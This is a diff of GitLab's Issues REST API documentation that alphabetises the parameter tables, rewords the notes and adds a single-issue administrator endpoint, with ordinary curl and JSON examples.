_([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ | +| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE, the `assignee_username` array should only contain a single value. Otherwise, an invalid parameter error is returned. | | `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | | `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | -| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | -| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ | -| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. | +| `confidential` | boolean | no | Filter confidential or public issues. | +| `created_after` | datetime | no | Return issues created on or after the given time | +| `created_before` | datetime | no | Return issues created on or before the given time | +| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ | | `iids[]` | integer array | no | Return only the issues having the given `iid` | +| `in` | string | no | Modify the scope of the `search` attribute. `title`, `description`, or a string joining them with comma. Default is `title,description` | +| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. | +| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | +| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ | +| `non_archived` | boolean | no | Return issues only from non-archived projects. If `false`, the response returns issues from both archived and non-archived projects. Default is `true`. _(Introduced in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/197170))_ | +| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji` | | `order_by` | string | no | Return issues ordered by `created_at`, `updated_at`, `priority`, `due_date`, `relative_position`, `label_priority`, `milestone_due`, `popularity`, `weight` fields. Default is `created_at` | -| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` | +| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`. Defaults to `created_by_me`<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ | | `search` | string | no | Search issues against their `title` and `description` | -| `in` | string | no | Modify the scope of the `search` attribute. `title`, `description`, or a string joining them with comma. Default is `title,description` | -| `created_after` | datetime | no | Return issues created on or after the given time | -| `created_before` | datetime | no | Return issues created on or before the given time | +| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` | +| `state` | string | no | Return `all` issues or just those that are `opened` or `closed` | | `updated_after` | datetime | no | Return issues updated on or after the given time | | `updated_before` | datetime | no | Return issues updated on or before the given time | -| `confidential` | boolean | no | Filter confidential or public issues. | -| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji` | -| `non_archived` | boolean | no | Return issues only from non-archived projects. If `false`, response will return issues from both archived and non-archived projects. Default is `true`. _(Introduced in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/197170))_ | -| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ | +| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. | +| `with_labels_details` | boolean | no | If `true`, the response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. The `description_html` attribute was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413)| ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/issues" @@ -165,7 +166,7 @@ Example response: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -179,7 +180,7 @@ the `weight` parameter: ] ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -193,15 +194,20 @@ the `health_status` parameter: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform +to the GitLab EE API. -**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). +This value is only present for issues closed after GitLab 10.6 and if the user account +that closed the issue still exists. ## List group issues Get a list of a group's issues. -If the group is private, credentials will need to be provided for authorization. +If the group is private, credentials need to be provided for authorization. The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md). ```plaintext @@ -223,30 +229,30 @@ GET /groups/:id/issues?confidential=true | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------- | +| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE, the `assignee_username` array should only contain a single value. Otherwise, an invalid parameter error is returned. | +| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | +| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | +| `confidential` | boolean | no | Filter confidential or public issues. | +| `created_after` | datetime | no | Return issues created on or after the given time | +| `created_before` | datetime | no | Return issues created on or before the given time | +| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user | -| `state` | string | no | Return all issues or just those that are `opened` or `closed` | -| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. | -| `with_labels_details` | boolean | no | If `true`, response will return more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. The `description_html` attribute was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) | | `iids[]` | integer array | no | Return only the issues having the given `iid` | +| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. | | `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | -| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`.<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ | -| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | -| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | -| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ | -| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. | +| `non_archived` | boolean | no | Return issues from non archived projects. Default is true. _(Introduced in [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23785))_ | +| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji`, `search`, `in` | | `order_by` | string | no | Return issues ordered by `created_at`, `updated_at`, `priority`, `due_date`, `relative_position`, `label_priority`, `milestone_due`, `popularity`, `weight` fields. Default is `created_at` | -| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` | +| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`.<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ | | `search` | string | no | Search group issues against their `title` and `description` | -| `created_after` | datetime | no | Return issues created on or after the given time | -| `created_before` | datetime | no | Return issues created on or before the given time | +| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` | +| `state` | string | no | Return all issues or just those that are `opened` or `closed` | | `updated_after` | datetime | no | Return issues updated on or after the given time | | `updated_before` | datetime | no | Return issues updated on or before the given time | -| `confidential` | boolean | no | Filter confidential or public issues. | -| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji`, `search`, `in` | -| `non_archived` | boolean | no | Return issues from non archived projects. Default is true. _(Introduced in [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23785))_ | -| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ | +| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. | +| `with_labels_details` | boolean | no | If `true`, the response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. The `description_html` attribute was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/4/issues" @@ -338,7 +344,7 @@ Example response: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -352,7 +358,7 @@ the `weight` parameter: ] ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -366,15 +372,19 @@ the `health_status` parameter: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). +This value is only present for issues closed after GitLab 10.6 and if the user account that closed +the issue still exists. ## List project issues Get a list of a project's issues. -If the project is private, credentials will need to be provided for authorization. +If the project is private, you need to provide credentials to authorize. The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md). ```plaintext @@ -396,29 +406,29 @@ GET /projects/:id/issues?confidential=true | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------- | +| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE, the `assignee_username` array should only contain a single value. Otherwise, an invalid parameter error is returned. | +| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | +| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | +| `confidential` | boolean | no | Filter confidential or public issues. | +| `created_after` | datetime | no | Return issues created on or after the given time | +| `created_before` | datetime | no | Return issues created on or before the given time | +| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `iids[]` | integer array | no | Return only the issues having the given `iid` | -| `state` | string | no | Return all issues or just those that are `opened` or `closed` | | `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. | -| `with_labels_details` | boolean | no | If `true`, response will return more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. `description_html` Introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) | | `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | -| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`.<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ | -| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | -| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | -| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ | -| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. | +| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji`, `search`, `in` | | `order_by` | string | no | Return issues ordered by `created_at`, `updated_at`, `priority`, `due_date`, `relative_position`, `label_priority`, `milestone_due`, `popularity`, `weight` fields. Default is `created_at` | -| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` | +| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`.<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ | | `search` | string | no | Search project issues against their `title` and `description` | -| `created_after` | datetime | no | Return issues created on or after the given time | -| `created_before` | datetime | no | Return issues created on or before the given time | +| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` | +| `state` | string | no | Return all issues or just those that are `opened` or `closed` | | `updated_after` | datetime | no | Return issues updated on or after the given time | | `updated_before` | datetime | no | Return issues updated on or before the given time | -| `confidential` | boolean | no | Filter confidential or public issues. | -| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji`, `search`, `in` | -| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ | +| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. | +| `with_labels_details` | boolean | no | If `true`, the response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. `description_html` was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/4/issues" @@ -517,7 +527,7 @@ Example response: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -531,7 +541,7 @@ the `weight` parameter: ] ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -545,15 +555,181 @@ the `health_status` parameter: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed +the issue still exists. ## Single issue +Only for administrators. Get a single issue. + +The preferred way to do this is by using [personal access tokens](../user/profile/personal_access_tokens.md). + +```plaintext +GET /issues/:id +``` + +| Attribute | Type | Required | Description | +|-------------|---------|----------|--------------------------------------| +| `id` | integer | yes | The ID of the issue | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/issues/41" +``` + +Example response: + +```json +{ + "id" : 1, + "milestone" : { + "due_date" : null, + "project_id" : 4, + "state" : "closed", + "description" : "Rerum est voluptatem provident consequuntur molestias similique ipsum dolor.", + "iid" : 3, + "id" : 11, + "title" : "v3.0", + "created_at" : "2016-01-04T15:31:39.788Z", + "updated_at" : "2016-01-04T15:31:39.788Z", + "closed_at" : "2016-01-05T15:31:46.176Z" + }, + "author" : { + "state" : "active", + "web_url" : "https://gitlab.example.com/root", + "avatar_url" : null, + "username" : "root", + "id" : 1, + "name" : "Administrator" + }, + "description" : "Omnis vero earum sunt corporis dolor et placeat.", + "state" : "closed", + "iid" : 1, + "assignees" : [{ + "avatar_url" : null, + "web_url" : "https://gitlab.example.com/lennie", + "state" : "active", + "username" : "lennie", + "id" : 9, + "name" : "Dr. Luella Kovacek" + }], + "assignee" : { + "avatar_url" : null, + "web_url" : "https://gitlab.example.com/lennie", + "state" : "active", + "username" : "lennie", + "id" : 9, + "name" : "Dr. Luella Kovacek" + }, + "labels" : [], + "upvotes": 4, + "downvotes": 0, + "merge_requests_count": 0, + "title" : "Ut commodi ullam eos dolores perferendis nihil sunt.", + "updated_at" : "2016-01-04T15:31:46.176Z", + "created_at" : "2016-01-04T15:31:46.176Z", + "closed_at" : null, + "closed_by" : null, + "subscribed": false, + "user_notes_count": 1, + "due_date": null, + "web_url": "http://example.com/my-group/my-project/issues/1", + "references": { + "short": "#1", + "relative": "#1", + "full": "my-group/my-project#1" + }, + "time_stats": { + "time_estimate": 0, + "total_time_spent": 0, + "human_time_estimate": null, + "human_total_time_spent": null + }, + "confidential": false, + "discussion_locked": false, + "_links": { + "self": "http://example.com/api/v4/projects/1/issues/2", + "notes": "http://example.com/api/v4/projects/1/issues/2/notes", + "award_emoji": "http://example.com/api/v4/projects/1/issues/2/award_emoji", + "project": "http://example.com/api/v4/projects/1" + }, + "task_completion_status":{ + "count":0, + "completed_count":0 + }, + "weight": null, + "has_tasks": false, + "_links": { + "self": "http://gitlab.dummy:3000/api/v4/projects/1/issues/1", + "notes": "http://gitlab.dummy:3000/api/v4/projects/1/issues/1/notes", + "award_emoji": "http://gitlab.dummy:3000/api/v4/projects/1/issues/1/award_emoji", + "project": "http://gitlab.dummy:3000/api/v4/projects/1" + }, + "references": { + "short": "#1", + "relative": "#1", + "full": "gitlab-org/gitlab-test#1" + }, + "subscribed": true, + "moved_to_id": null, + "epic_iid": null, + "epic": null +} +``` + +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +the `weight` parameter: + +```json +{ + "project_id" : 4, + "description" : "Omnis vero earum sunt corporis dolor et placeat.", + "weight": null, + ... +} +``` + +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see +the `epic` property: + +```javascript +{ + "project_id" : 4, + "description" : "Omnis vero earum sunt corporis dolor et placeat.", + "epic": { + "epic_iid" : 5, //deprecated, use `iid` of the `epic` attribute + "epic": { + "id" : 42, + "iid" : 5, + "title": "My epic epic", + "url" : "/groups/h5bp/-/epics/5", + "group_id": 8 + }, + // ... +} +``` + +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform +to the GitLab EE API. + +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). +This value is only present for issues closed after GitLab 10.6 and if the user account +that closed the issue still exists. + +NOTE: **Note:** +The `epic_iid` attribute is deprecated, and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157). +Please use `iid` of the `epic` attribute instead. + +## Single project issue + Get a single project issue. -If the project is private or the issue is confidential, credentials will need to be provided for authorization. +If the project is private or the issue is confidential, you need to provide credentials to authorize. The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md). ```plaintext @@ -653,7 +829,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -665,7 +841,7 @@ the `weight` parameter: } ``` -Users on GitLab [Premium](https://about.gitlab.com/pricing/) will additionally see +Users on GitLab [Premium](https://about.gitlab.com/pricing/) can also see the `epic` property: ```javascript @@ -684,8 +860,8 @@ the `epic` property: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also additionally see -the `health_status` property: +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` +property: ```json [ @@ -698,11 +874,15 @@ the `health_status` property: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed +the issue still exists. -**Note**: The `epic_iid` attribute is deprecated and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157). +NOTE: **Note:** +The `epic_iid` attribute is deprecated and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157). Please use `iid` of the `epic` attribute instead. ## New issue @@ -716,17 +896,17 @@ POST /projects/:id/issues | Attribute | Type | Required | Description | |-------------------------------------------|----------------|----------|--------------| | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `iid` | integer/string | no | The internal ID of the project's issue (requires admin or project owner rights) | +| `iid` | integer/string | no | The internal ID of the project's issue (requires administrator or project owner rights) | | `title` | string | yes | The title of an issue | | `description` | string | no | The description of an issue. Limited to 1,048,576 characters. | | `confidential` | boolean | no | Set an issue to be confidential. Default is `false`. | | `assignee_ids` | integer array | no | The ID of the user(s) to assign the issue to. | | `milestone_id` | integer | no | The global ID of a milestone to assign issue | | `labels` | string | no | Comma-separated label names for an issue | -| `created_at` | string | no | Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | | `due_date` | string | no | Date time string in the format YEAR-MONTH-DAY, for example `2016-03-11` | -| `merge_request_to_resolve_discussions_of` | integer | no | The IID of a merge request in which to resolve all issues. This will fill the issue with a default description and mark all discussions as resolved. When passing a description or title, these values will take precedence over the default values.| -| `discussion_to_resolve` | string | no | The ID of a discussion to resolve. This will fill in the issue with a default description and mark the discussion as resolved. Use in combination with `merge_request_to_resolve_discussions_of`. | +| `merge_request_to_resolve_discussions_of` | integer | no | The IID of a merge request in which to resolve all issues. This fills out the issue with a default description and mark all discussions as resolved. When passing a description or title, these values take precedence over the default values.| +| `discussion_to_resolve` | string | no | The ID of a discussion to resolve. This fills out the issue with a default description and mark the discussion as resolved. Use in combination with `merge_request_to_resolve_discussions_of`. | | `weight` **(STARTER)** | integer | no | The weight of the issue. Valid values are greater than or equal to 0. | | `epic_id` **(PREMIUM)** | integer | no | ID of 